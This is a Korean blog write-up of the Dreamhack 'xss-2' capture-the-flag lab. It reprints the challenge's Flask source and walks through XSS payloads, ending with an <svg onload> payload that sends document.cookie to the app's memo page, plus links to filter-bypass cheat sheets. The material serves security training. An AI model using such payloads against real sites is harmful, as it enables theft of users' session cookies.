Information security

[Dream Hack] xss-2

Hackster 2023. 5. 15. 13:48

 

 

[Dream Hack] xss-2


 

문제

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

 

문제 풀이

지난번 xss-1과 다르게 텍스트 입력 부분에 <script> 코드로 메세지를 띄우는 alert 코드가 활성화 되었다.

- 이번 xss-2 문제에서는 크로스 사이트 스크립팅 공격이 가능한 특수문자가 필터링 되어있어서 alert가 띄워지지 않는다. 이에 대하여 다른 방식을 적용해야 할 것 같다.

 

 

 

1. /vuln?param=<script>alert(1)</script>

- <script> 태그가 필터링 처리되어 스크립트 실행되지 않는다.

 

 

2. /vuln?param=<svg onload=alert(1)>

- 해당 <svg onload> 태그를 사용할 경우에 다음과 같이 script가 실행됨을 확인할 수 있다.

 

 

 

3. /vuln?param=<svg onload=location.href="/memo?memo="+document.cookie>

 

 

 

XSS 필터링 우회 기법

 

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

https://blog.rubiya.kr/index.php/2019/03/28/browsers-xss-filter-bypass-cheat-sheet/

 

브라우저 XSS 필터 우회의 모든 것 – blog.rubiya.kr

이 글은 XSS Auditor, XSS 필터의 우회에 대해 다루고 있다. 대상은 Chrome, Firefox, Edge, IE11, Safari, Opera 이다. 만약 당신이 취약점 진단 업무를 하고있다면 XSS 필터의 우회가 가능하다는 사실을 널리 알

blog.rubiya.kr

https://noirstar.tistory.com/309

 

버그바운티(Bug Bounty) Write-up / Stored XSS

https://hackerone.com/reports/415484 Shopify disclosed on HackerOne: Stored xss # Description : WAF cut html tages but when put before tages we can bypass it :) . #Step to reproduce : 1-Open your store account 2-Navigate to https://xxx.myshopify.com/admin/

noirstar.tistory.com